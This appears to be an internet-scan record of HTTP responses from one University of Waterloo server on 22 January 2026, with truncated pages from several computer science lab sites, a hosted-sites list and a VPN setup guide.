<h1>Welcome to SCG</h1>
<p>The Symbolic Computation Group is a research group within the <a href="http://www.cs.uwaterloo.ca">David R. Cheriton School of Computer Science</a> in the <a href="http://www.math.uwaterloo.ca/">Faculty of Mathematics</a> at the <a href="http://www.uwaterloo.ca/"> University of Waterloo</a>, Waterloo, Ontario, Canada. SCG is affiliated with <a href="http://orcca.on.ca">the Ontario Research Centre in Computer Algebra (ORCCA)</a>. The principal investigators in the lab are Mark Giesbrecht, George Labahn (director), Éric Schost, Arne Storjohann, and Stephen Watt.</p>
<p>SCG has as its primary goal the design, analysis and implementation of algorithms and systems for computer algebra and symbolic computation. Many of the algorithms developed are incorporated into the <a href="http://www.maplesoft.com/">Maple</a> computer algebra system. </p>
<h2>Main Areas of Interest</h2>
<p> Some of the Symbolic Computation Group's main research interests include:</p>
<ul>
<li>Symbolic Integration.</li>
<li>Exact and symbolic linear algebra.</li>
<li>Hybrid symbolic-numeric computing.</li>
<li>Finding closed-form solutions for ordinary differential equations.</li>
<li>Pen-based mathematics.</li>
<li>Algebraic manipulation of differential and Ore operators. </li>
<li>Rational approximation algorithms. </li>
<li>Sparse polynomials and matrices.</li>
<li>Complexity of algebraic computations. </li>
</ul>
<p> </p></td>
</tr>
</table>
<div class="blurb"></div>
<p class="lastModified">
Last modified on
Wednesday, 28 November 2018, at 13:18 hours.
</p>
</body>
</html>
Open service 129.97.167.168:443 · nextcloud-test.cscf.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 404 Not Found
cache-control: no-cache
content-type: text/html
retry-after: 60
strict-transport-security: max-age=16000000; preload;
connection: close
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<p style="text-align:center;">
This web server hosts a number of sites for the School of Computer Science.
<p style="text-align:center;">
If you need assistance or to report a problem, please contact the CSCF Help Desk at cscf@uwaterloo.ca<mailto:cscf@uwaterloo.ca>.
<p style="text-align:center;">
Here is a list of the sites hosted here:
<br>
<a href="https://algcomp.uwaterloo.ca">algcomp.uwaterloo.ca</a> <br>
<a href="https://andromeda-proxy.cs.uwaterloo.ca">andromeda-proxy.cs.uwaterloo.ca</a> <br>
<a href="https://booked.cs.uwaterloo.ca">booked.cs.uwaterloo.ca</a> <br>
<a href="https://cfm.uwaterloo.ca">cfm.uwaterloo.ca</a> <br>
<a href="https://cgl.uwaterloo.ca">cgl.uwaterloo.ca</a> <br>
<a href="https://charisma2010.uwaterloo.ca">charisma2010.uwaterloo.ca</a> <br>
<a href="https://chil.uwaterloo.ca">chil.uwaterloo.ca</a> <br>
<a href="https://compstats.uwaterloo.ca">compstats.uwaterloo.ca</a> <br>
<a href="https://cpi.uwaterloo.ca">cpi.uwaterloo.ca</a> <br>
<a href="https://crysp.uwaterloo.ca">crysp.uwaterloo.ca</a> <br>
<a href="https://cs.uwaterloo.ca">cs.uwaterloo.ca</a> <br>
<a href="https://cswiki.uwaterloo.ca">cswiki.uwaterloo.ca</a> <br>
<a href="https://dsg.uwaterloo.ca">dsg.uwaterloo.ca</a> <br>
<a href="https://epad.uwaterloo.ca">epad.uwaterloo.ca</a> <br>
<a href="https://exii.cs.uwaterloo.ca">exii.cs.uwaterloo.ca</a> <br>
<a href="https://geometricalgebra.org">geometricalgebra.org</a> <br>
<a href="https://grec.cs.uwaterloo.ca">grec.cs.uwaterloo.ca</a> <br>
<a href="https://hi.uwaterloo.ca">hi.uwaterloo.ca</a> <br>
<a href="https://icr.uwaterloo.ca">icr.uwaterloo.ca</a> <br>
<a href="https://icse2019.cs.uwaterloo.ca">icse2019.cs.uwaterloo.ca</a> <br>
<a href="https://inventory.math.uwaterloo.ca">inventory.math.uwaterloo.ca</a> <br>
<a href="https://mc.uwaterloo.ca">mc.uwaterloo.ca</a> <br>
<a href="https://neurocog.uwaterloo.ca">neurocog.uwaterloo.ca</a> <br>
<a href="https://nextcloud.cs.uwaterloo.ca">nextcloud.cs.uwaterloo.ca</a> <br>
<a href="https://qc.uwaterloo.ca">qc.uwaterloo.ca</a> <br>
<a href="https://rboutaba.cs.uwaterloo.ca">rboutaba.cs.uwaterloo.ca</a> <br>
<a href="https://rebels.cs.uwaterloo.ca">rebels.cs.uwaterloo.ca</a> <br>
<a href="https://rgw.cs.uwaterloo.ca">rgw.cs.uwaterloo.ca</a> <br>
<a href="https://ripple.uwaterloo.ca">ripple.uwaterloo.ca</a> <br>
<a href="https://scicom.uwaterloo.ca">scicom.uwaterloo.ca</a> <br>
<a href="https://se.uwaterloo.ca">se.uwaterloo.ca</a> <br>
<a href="https://softeng.uwaterloo.ca">softeng.uwaterloo.ca</a> <br>
<a href="https://staging-crysp.uwaterloo.ca">staging-crysp.uwaterloo.ca</a> <br>
<a href="https://student.cs.uwaterloo.ca">student.cs.uwaterloo.ca</a> <br>
<a href="https://uclp.uwaterloo.ca">uclp.uwaterloo.ca</a> <br>
<a href="https://upscope.uwaterloo.ca">upscope.uwaterloo.ca</a> <br>
<a href="https://userver.uwaterloo.ca">userver.uwaterloo.ca</a> <br>
<a href="https://vision.cs.uwaterloo.ca">vision.cs.uwaterloo.ca</a> <br>
<a href="https://vpn.cs.uwaterloo.ca">vpn.cs.uwaterloo.ca</a> <br>
<a href="https://wasl.uwaterloo.ca">wasl.uwaterloo.ca</a> <br>
<a href="https://watform.uwaterloo.ca">watform.uwaterloo.ca</a> <br>
<a href="https://www.cs.uwaterloo.ca">www.cs.uwaterloo.ca</a> <br>
<a href="https://www.scg.uwaterloo.ca">www.scg.uwaterloo.ca</a> <br>
<a href="https://www.swag.uwaterloo.ca">www.swag.uwaterloo.ca</a> <br>
<a href="https://wwwtest.student.cs.uwaterloo.ca">wwwtest.student.cs.uwaterloo.ca</a> <br>
</p>
</body>
<html>
Open service 129.97.167.168:443 · chil.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 200 OK
date: Thu, 22 Jan 2026 18:42:39 GMT
server: Apache/2.4.58 (Ubuntu)
cache-control: private, max-age=0, must-revalidate
last-modified: Mon, 17 Aug 2015 12:11:23 GMT
etag: "cf7-51d80b333a8bc"
accept-ranges: bytes
content-length: 3319
vary: Accept-Encoding
content-type: text/html; charset=utf-8
strict-transport-security: max-age=16000000; preload;
set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca2; path=/
connection: close
Page title: Computational Health Informatics Lab | SCS | UW
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Computational Health Informatics Lab | SCS | UW</title>
<link href="/favicon.ico" rel="shortcut icon">
<link href="/css/bootstrap.min.css" rel="stylesheet" type="text/css">
<link href="/css/font-awesome.min.css" rel="stylesheet" type="text/css">
<link href="/css/header.css" rel="stylesheet" type="text/css">
<link href="/css/footer.css" rel="stylesheet" type="text/css">
<link href="/css/main.css" rel="stylesheet" type="text/css">
</head>
<body>
<div id="wrapper" class="container">
<div id="head-template"></div>
<div class="row">
<div class="col-md-3" >
<!-- Sidebar content -->
<div id="sidebar-template">
<hr>
<ul id="chil-sidebar" class="nav nav-pills nav-stacked" >
<li class="active">
<!-- <i class="glyphicon glyphicon-home"></i>Homepage -->
<a href="/index.html">
<i class="glyphicon glyphicon-home pull-left"></i>
Homepage
</a>
</li>
<li>
<a href="/people">
<i class="glyphicon glyphicon-user pull-left"></i>People
</a>
</li>
<li>
<a href="/research">
<i class="glyphicon glyphicon-book"></i>Research
</a>
</li>
<li>
<a href="/events">
<i class="glyphicon glyphicon-list-alt"></i>Events
</a>
</li>
<li class="ext">
<a href="https://cs.uwaterloo.ca/~jhoey/chil/wiki/">
<i class="glyphicon glyphicon-pencil"></i>CHIL Wiki
</a>
</li>
<li class="ext">
<a href="http://hi.uwaterloo.ca/">
<i class="glyphicon glyphicon-link">
</i>Health Informatics | Waterloo
</a>
</li>
<li class="ext">
<a href="http://www.cs.uwaterloo.ca">
<i class="glyphicon glyphicon-link pull-left"></i>David R. Cheriton School of Computer Science
</a>
</li>
</ul>
</div><!-- sidebar -->
</div>
<div class="col-md-9">
<hr>
<div class="jumbotron">
<!-- Body content -->
<p>Welcome to CHIL, the Computational Health Informatics Laboratory at the University of Waterloo.
</p>
<p>
Computational health informatics is the <b>Informatics</b> part of health informatics: We study computational mechanisms for enabling more efficient and easy-to-use healthcare delivery, and we study large-scale data analytics problems in healthcare.
</p>
<p>
We have a very active research group in health informatics - check out our <a href="/people/">people</a> and their pages for more information.
</p>
</div>
</div>
</div><!-- end mainbody -->
</div><!-- end #container -->
<div id="footer-wrapper" class="container">
</div>
<script src="/jquery-1.11.3.min.js" type="text/javascript"></script>
<script src="/bootstrap.min.js" type="text/javascript"></script>
<script type='text/javascript'>
$('#head-template').load("/header.html");
// $('#sidebar-template').load("/templates/sidebar.html");
$('#footer-wrapper').load("/footer.html");
</script>
</body>
</html>
Open service 129.97.167.168:443 · rgw.cs.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 200 OK transfer-encoding: chunked x-amz-request-id: tx00000583c2a55cb0f9ff6-0069726f9f-5aeb6760-default content-type: application/xml date: Thu, 22 Jan 2026 18:42:39 GMT strict-transport-security: max-age=16000000; preload; set-cookie: rgw.cs.uwaterloo.ca_haproxy_cookie=rgw.cs.uwaterloo.ca1; path=/ connection: close <?xml version="1.0" encoding="UTF-8"?><ListAllMyBucketsResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/"><Owner><ID>anonymous</ID><DisplayName></DisplayName></Owner><Buckets></Buckets></ListAllMyBucketsResult>
Open service 129.97.167.168:443 · neurocog.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 200 OK
date: Thu, 22 Jan 2026 18:42:39 GMT
server: Apache/2.4.58 (Ubuntu)
cache-control: private, max-age=0, must-revalidate
last-modified: Mon, 12 Jan 2026 15:37:09 GMT
etag: "2d26-64832a5efd9c7"
accept-ranges: bytes
content-length: 11558
vary: Accept-Encoding
content-type: text/html; charset=utf-8
strict-transport-security: max-age=16000000; preload;
set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca2; path=/
connection: close
Page title:
· Neurocognitive Computing Lab, UWaterloo
<!DOCTYPE html>
<html lang="en-us">
<head>
<link href="http://gmpg.org/xfn/11" rel="profile">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta http-equiv="content-type" content="text/html; charset=utf-8">
<!-- Enable responsiveness on mobile devices-->
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1">
<title>
· Neurocognitive Computing Lab, UWaterloo
</title>
<!-- CSS -->
<link rel="stylesheet" href="/public/css/poole.css">
<link rel="stylesheet" href="/public/css/syntax.css">
<link rel="stylesheet" href="/public/css/hyde.css">
<link rel="stylesheet" href="http://fonts.googleapis.com/css?family=PT+Sans:400,400italic,700|Abril+Fatface">
<!-- Icons -->
<link rel="apple-touch-icon-precomposed" sizes="144x144" href="public/apple-touch-icon-144-precomposed.png">
<link rel="shortcut icon" href="public/favicon.png">
<!-- RSS -->
<!--link rel="alternate" type="application/rss+xml" title="RSS" href="/atom.xml"-->
<link rel="alternate" type="application/rss+xml" title="RSS" href="/feed.xml">
<script async src="https://cdn.jsdelivr.net/npm/mathjax@2/MathJax.js?config=TeX-AMS-MML_CHTML"></script>
</head>
<body>
<div class="sidebar">
<div class="container">
<center>
<a target="_new" href="http://uwaterloo.ca"><img src="/images/UniversityOfWaterloo_logo_vert_rev_rgb.png" width="200px"></a></center>
<div class="sidebar-about">
</div>
<br>
<br>
<nav class="sidebar-nav">
<a class="sidebar-nav-item" href="/index.html">Welcome</a>
<a class="sidebar-nav-item" href="/people.html">Our People</a>
<a class="sidebar-nav-item" href="/publications.html">Publications</a>
<a class="sidebar-nav-item" href="/PhotoAlbums.html">Photos</a>
<a class="sidebar-nav-item" href="/media.html">Media</a>
</nav>
<font size="2"><div class="bottom">© 2026 All rights reserved.</div></font>
</div>
</div>
<div class="banner"><img src="https://neurocog.uwaterloo.ca/images/NeuroCog_logo_horiz_onlight.png" width="600px"></div>
<div class="content container">
<div class="page">
<h1 class="page-title">
</h1>
<p>Our research aim is to uncover the computational and organizational mechanisms in the brain. For example, what function does feedback play in our brains, and how do our expectations influence our perceptions? We study these questions by modelling neural networks. Through computational experiments and mathematical analysis, we try to understand the neurological basis of perception, cognition, and behaviour.</p>
<p>The lab is in the <a href="http://cs.uwaterloo.ca" target="_blank">David R. Cheriton School of Computer Science</a>, and affiliated with the <a href="http://ctn.uwaterloo.ca" target="_blank">Centre for Theoretical Neuroscience</a>.</p>
<hr />
<html lang="en-us">
<h1>Latest News</h1>
<div class="column">
<div class="card">
<div class="container">
<img class="img-valign" src="/images/Amy_headshot.png" style="height:100px" />
<span class="text2"><a href="/jekyll/update/2026/01/05/Amy.html">Welcome to the lab, Amy!</a></span>
<p>Welcome Amy to the lab as a part-time researcher this winter term.</p>
</div>
<div class="container" style="text-align:right">
<span class="text3">01-05-2026</span>
</div>
</div>
<div class="card">
<div class="container">
<img class="img-valign" src="/images/DrShaw.jpg" style="height:100px" />
<span class="text2"><a href="/jekyll/update/2025/10/20/DrShaw.html">Nolan passed his PhD defence</a></span>
<p>Congratulations are in order for Nolan's PhD defence.</p>
</div>
<div class="container" style="text-align:right">
<span class="text3">10-20-2025</span>
</div>
</div>
<div class="card">
<div class="container">
<img class="img-valign" src="/images/melody.jpg" style="height:100px" />
<span class=
Open service 129.97.167.168:80 · upscope.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://upscope.uwaterloo.ca/ connection: close
Open service 129.97.167.168:80 · vpn.cs.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://vpn.cs.uwaterloo.ca/ connection: close
Open service 129.97.167.168:80 · qc.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://qc.uwaterloo.ca/ connection: close
Open service 129.97.167.168:443 · wwwtest3.cs.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 200 OK date: Thu, 22 Jan 2026 18:42:39 GMT server: Apache/2.4.58 (Ubuntu) content-location: index.shtml vary: negotiate tcn: choice cache-control: private, max-age=0, must-revalidate accept-ranges: bytes content-length: 0 content-type: text/html; charset=utf-8 strict-transport-security: max-age=16000000; preload; set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca2; path=/ connection: close
Open service 129.97.167.168:443 · vpn.cs.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 200 OK
date: Thu, 22 Jan 2026 18:42:39 GMT
server: Apache/2.4.58 (Ubuntu)
cache-control: private, max-age=0, must-revalidate
last-modified: Mon, 05 May 2025 14:36:47 GMT
etag: "59cb-634646e0b663e"
accept-ranges: bytes
content-length: 22987
vary: Accept-Encoding
content-type: text/html; charset=utf-8
strict-transport-security: max-age=16000000; preload;
set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca3; path=/
connection: close
Page title: UWATERLOO CS OpenVPN Landing Page
<!DOCTYPE html>
<!-- saved from url=(0028)https://vpn.cs.uwaterloo.ca/ -->
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>UWATERLOO CS OpenVPN Landing Page</title>
<link rel="stylesheet" href="./UWATERLOO CS OpenVPN Landing Page_files/style.css">
</head>
<body>
<div id="header">
<h1>How to Connect to the UW CS OpenVPN</h1>
</div>
<div id="table_of_contents">
<h2>Table of Contents</h2>
<ul id="toc">
<li><a href="#overview">Overview</a></li>
<li><a href="#downloads">Downloads</a></li>
<li><a href="#windows">Windows</a></li>
<li><a href="#mac_osx">Mac OS X</a></li>
<li><a href="#ubuntu">Ubuntu</a></li>
<li><a href="#iOS">iOS</a></li>
<li><a href="#android">Android</a></li>
</ul>
</div>
<hr>
<div id="container">
<div id="overview">
<h1 id="overview_h1">Overview</h1>
<ol>
The SCS VPN service provides secure "first-hop" Internet communications for Faculty, staff and students with GENERAL domain credentials. The service uses open-source OpenVPN TLS VPN hosted on SCS servers allowing users on a wide variety of platforms to establish an
encrypted tunnel to vpn.cs.uwaterloo.ca over which all their non-local Internet traffic will be routed. The default configuration also replaces clients' existing name server (DNS) configuration with a secure link to University of Waterloo
name servers. When off-campus, users can be confident that Internet communications from their laptop, phone, tablet or computer
are as secure as from their campus devices.<br><br>
Detailed instructions are provided below for the most popular client options. If you cannot find instructions for your device or require a custom solution, be sure to contact the CSCF Help Desk (cscfhelp@uwaterloo.ca).
<br>
</ol>
<p> </p>
<br>
</div>
<hr>
<div id="overview">
<h1 id="overview_h1">Please read: Notes on 2-Factor Authentication (2FA)</h1>
<ol>
The SCS VPN service now requires 2FA for connections. On connection, users will receive a push on their UW Duo 2FA
device to accept a request from "CS VPN LDAP proxy". Accepting that push will enable your VPN connection for up to two weeks, or until your next reconnection. <br><br>
For Duo 2FA users that use passcodes, please generate a passcode for use and then append your (GENERAL) password in the VPN client with a comma i.e.<br>
<password> --> <password>,<passcode><br>
As with the push, this connection is good for two weeks, or until next reconnection.<br><br>
<br>
</ol>
<p> </p>
<br>
</div>
<hr>
<div id="downloads">
<h1 id="downloads_h1">Downloads</h1>
<p> The configuration file for SCS OpenVPN clients can be downloaded here. The same file gives the default configuration for all supported clients. Contact the CSCF Help Desk (cscfhelp@uwaterloo.ca) for guidance with other configurations.
</p>
<a id="downloads_ovpn" href="scs-vpn-20250430.ovpn" download="scs-vpn-20250430.ovpn">scs-vpn-20250430.ovpn</a><br>
</div>
<hr>
<div id="windows">
<a href="https://vpn.cs.uwaterloo.ca/#header">Top</a>
<h1 class="windows_h1">Connecting with Windows</h1>
<ol>
<li> First, download <a id="ovpn" href="scs-vpn-20250430.ovpn" download="scs-vpn-20250430.ovpn">scs-vpn-20250430.ovpn</a> . Save it to a place where you won't lose it.<br><br>
</li>
<li> Next, download the <a href="https://openvpn.net/index.php/open-source/downloads.html">OpenVPN GUI</a> program.<br><br>
<img src="./img/Win/open
Open service 129.97.167.168:443 · staging-crysp.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 302 Found date: Thu, 22 Jan 2026 18:42:39 GMT server: Apache/2.4.58 (Ubuntu) cache-control: private, max-age=0, must-revalidate location: https://staging-crysp.uwaterloo.ca:443/mellon/login?ReturnTo=%2F transfer-encoding: chunked strict-transport-security: max-age=16000000; preload; set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca3; path=/ connection: close
Open service 129.97.167.168:80 · booked.cs.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://booked.cs.uwaterloo.ca/ connection: close
Open service 129.97.167.168:443 · www.swag.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 200 OK
date: Thu, 22 Jan 2026 18:42:39 GMT
server: Apache/2.4.58 (Ubuntu)
cache-control: private, max-age=0, must-revalidate
last-modified: Thu, 04 Dec 2014 05:43:50 GMT
etag: "f31-5095d71d95149"
accept-ranges: bytes
content-length: 3889
vary: Accept-Encoding
content-type: text/html; charset=utf-8
strict-transport-security: max-age=16000000; preload;
set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca3; path=/
connection: close
Page title: SWAG homepage
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>SWAG homepage</title>
<script language="JavaScript" src="mailMunge.js"></script>
<link rel="stylesheet" type"="text/css" href="swag.css" />
</head>
<body class="page">
<table align="center" class="layoutTable" >
<!-- header row starts here -->
<tr>
<td colspan=2 class="header">
<p>
<a href="http://www.uwaterloo.ca" target="_top">
<img src="pics/uw.logo.gif" style="vertical-align: top; float: left; border: 0;">
</a>
<img src="pics/swag.cubes.gif" style="float: right; border: 0;" height="62" width="258">
<span class="swagLogo">SWAG: Software </span><br>
<span class="swagLogo">Architecture Group</span><br>
</p>
</td>
</tr>
<!-- end of header row -->
<tr>
<td colspan=2 class="locationBar" >
SWAG
</td>
</tr>
<!-- end of location bar row -->
<tr> <!-- main row starts here -->
<!-- %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -->
<!-- sidebar menu starts -->
<!-- %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -->
<td class="sidebar">
<iframe src="swag_sidebar.html" scrolling="yes" class="sidebar" frameborder=0>
Your browser does not support iframes. See the sidebar <a href="swag_sidebar.html">here</a>.
</iframe>
</td> <!-- end of sidebar table cell -->
<!-- %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -->
<!-- sidebar menu ends -->
<!-- %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -->
<!-- %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -->
<!-- main content starts -->
<!-- %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -->
<td class="main">
<h3>About SWAG</h3>
<p>The Software Architecture Group at the University of Waterloo (SWAG)
has been at the forefront of software architecture and software engineering research in Canada
since its inception. Founded as a collaboration between researchers at the University of
Waterloo and the University of Toronto, the lab is now primarily based at Waterloo university. Its members
currently include three professors and fifteen graduate students. See our <a href="people.html">people</a> page
for more details.
<p>Members of SWAG have developed or co-developed some of the most robust and best-known tools in software architecture
research, including Portable Bookshelf (PBS) and CPPX software analysis toolkits, Grok relational
calculator, LSEdit graph visualizer, and many others. See our <a href="tools.html">tools</a> page for an up-to-date
listing of the tools currently available, or use the sidebar links to jump directly to the tool that interests you.
<p>Primary research interests of the SWAG members are software architecture and its evolution through time,
methods and applications of reverse engineering as applied to software, and development of fact extraction,
analysis and visualization tools. Lately, we have pursued new research directions in the field of software
engineering, including analysis and classification of cloned code, layering models and software quality prediction.
See the <a href="research.html">research</a> page for more details.
</p>
<p>Our group is actively involved in industrial research through collaborations with many
industrial partners such as IBM, Nortel Networks, Sun Microsystems and CA.
<p>
Conference related material can be found <a href="conferences">here</a>.
<!-- %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -->
<!-- main content ends -->
<!-- %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -->
</td>
</tr>
</table>
</body>
</html>
Open service 129.97.167.168:80 · watform.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://watform.uwaterloo.ca/ connection: close
Open service 129.97.167.168:443 · uclp.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 200 OK
date: Thu, 22 Jan 2026 18:42:39 GMT
server: Apache/2.4.58 (Ubuntu)
cache-control: private, max-age=0, must-revalidate
last-modified: Thu, 19 May 2005 15:16:07 GMT
etag: "284f-3f77715ad9bc0"
accept-ranges: bytes
content-length: 10319
vary: Accept-Encoding
content-type: text/html; charset=utf-8
strict-transport-security: max-age=16000000; preload;
set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca2; path=/
connection: close
Page title: User Controlled LightPath Project
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<meta name="GENERATOR" content="Microsoft FrontPage 5.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<title>User Controlled LightPath Project</title>
<meta name="Microsoft Border" content="l, default">
</head>
<body background="images/bg-publi.gif"><!--msnavigation--><table dir="ltr" border="0" cellpadding="0" cellspacing="0" width="100%"><tr><td valign="top" width="1%">
<p>
<script language="JavaScript"><!--
MSFPhover =
(((navigator.appName == "Netscape") &&
(parseInt(navigator.appVersion) >= 3 )) ||
((navigator.appName == "Microsoft Internet Explorer") &&
(parseInt(navigator.appVersion) >= 4 )));
function MSFPpreload(img)
{
var a=new Image(); a.src=img; return a;
}
// --></script><script language="JavaScript"><!--
if(MSFPhover) { MSFPnav1n=MSFPpreload("_derived/home_cmp_tabs110_vbtn.gif"); MSFPnav1h=MSFPpreload("_derived/home_cmp_tabs110_vbtn_a.gif"); }
// --></script><a href="index.htm" language="JavaScript" onmouseover="if(MSFPhover) document['MSFPnav1'].src=MSFPnav1h.src" onmouseout="if(MSFPhover) document['MSFPnav1'].src=MSFPnav1n.src"><img src="_derived/home_cmp_tabs110_vbtn.gif" width="140" height="45" border="0" alt="Home" name="MSFPnav1"></a><br><script language="JavaScript"><!--
if(MSFPhover) { MSFPnav2n=MSFPpreload("_derived/team_members.htm_cmp_tabs110_vbtn.gif"); MSFPnav2h=MSFPpreload("_derived/team_members.htm_cmp_tabs110_vbtn_a.gif"); }
// --></script><a href="team_members.htm" language="JavaScript" onmouseover="if(MSFPhover) document['MSFPnav2'].src=MSFPnav2h.src" onmouseout="if(MSFPhover) document['MSFPnav2'].src=MSFPnav2n.src"><img src="_derived/team_members.htm_cmp_tabs110_vbtn.gif" width="140" height="45" border="0" alt="Team Members" name="MSFPnav2"></a><br><script language="JavaScript"><!--
if(MSFPhover) { MSFPnav3n=MSFPpreload("_derived/project_description.htm_cmp_tabs110_vbtn.gif"); MSFPnav3h=MSFPpreload("_derived/project_description.htm_cmp_tabs110_vbtn_a.gif"); }
// --></script><a href="project_description.htm" language="JavaScript" onmouseover="if(MSFPhover) document['MSFPnav3'].src=MSFPnav3h.src" onmouseout="if(MSFPhover) document['MSFPnav3'].src=MSFPnav3n.src"><img src="_derived/project_description.htm_cmp_tabs110_vbtn.gif" width="140" height="45" border="0" alt="Project Description" name="MSFPnav3"></a><br><script language="JavaScript"><!--
if(MSFPhover) { MSFPnav4n=MSFPpreload("_derived/statement_of_work.htm_cmp_tabs110_vbtn.gif"); MSFPnav4h=MSFPpreload("_derived/statement_of_work.htm_cmp_tabs110_vbtn_a.gif"); }
// --></script><a href="statement_of_work.htm" language="JavaScript" onmouseover="if(MSFPhover) document['MSFPnav4'].src=MSFPnav4h.src" onmouseout="if(MSFPhover) document['MSFPnav4'].src=MSFPnav4n.src"><img src="_derived/statement_of_work.htm_cmp_tabs110_vbtn.gif" width="140" height="45" border="0" alt="Statement of Work" name="MSFPnav4"></a><br><script language="JavaScript"><!--
if(MSFPhover) { MSFPnav5n=MSFPpreload("_derived/management.htm_cmp_tabs110_vbtn.gif"); MSFPnav5h=MSFPpreload("_derived/management.htm_cmp_tabs110_vbtn_a.gif"); }
// --></script><a href="management.htm" language="JavaScript" onmouseover="if(MSFPhover) document['MSFPnav5'].src=MSFPnav5h.src" onmouseout="if(MSFPhover) document['MSFPnav5'].src=MSFPnav5n.src"><img src="_derived/management.htm_cmp_tabs110_vbtn.gif" width="140" height="45" border="0" alt="Management" name="MSFPnav5"></a><br><script language="JavaScript"><!--
if(MSFPhover) { MSFPnav6n=MSFPpreload("_derived/presentations.htm_cmp_tabs110_vbtn.gif"); MSFPnav6h=MSFPpreload("_derived/presentations.htm_cmp_tabs110_vbtn_a.gif"); }
// --></script><a href="presentations.htm" language="JavaScript" onmouseover="if(MSFPhover) document['MSFPnav6'].src=MSFPnav6h.src" onmouseout="if(MSFPhover) document['MSFPnav6'].src=MSFPnav6n.src"><img src="_derived/presentations.htm_cmp_tabs110_vbtn.gif" width="140" height="45" border="0" alt="Presentations" name="MSFPnav6"></a><br><script language="JavaScript"><!--
if(MSFPhover)
Open service 129.97.167.168:80 · www.swag.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://www.swag.uwaterloo.ca/ connection: close
Open service 129.97.167.168:80 · uclp.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://uclp.uwaterloo.ca/ connection: close
Open service 129.97.167.168:443 · charisma2010.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 200 OK date: Thu, 22 Jan 2026 18:42:39 GMT server: Apache/2.4.58 (Ubuntu) cache-control: private, max-age=0, must-revalidate last-modified: Fri, 12 Nov 2010 04:31:41 GMT etag: "132-494d39126bf59" accept-ranges: bytes content-length: 306 vary: Accept-Encoding content-type: text/html; charset=utf-8 strict-transport-security: max-age=16000000; preload; set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca2; path=/ connection: close <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title></title><meta http-equiv="refresh" content="0;url= Home.html" /></head><body></body></html>
Open service 129.97.167.168:443 · mc.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 200 OK
date: Thu, 22 Jan 2026 18:42:39 GMT
server: Apache/2.4.58 (Ubuntu)
cache-control: private, max-age=0, must-revalidate
accept-ranges: bytes
vary: Accept-Encoding
transfer-encoding: chunked
content-type: text/html; charset=utf-8
strict-transport-security: max-age=16000000; preload;
set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca1; path=/
connection: close
Page title: Multicore Lab - University of Waterloo
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
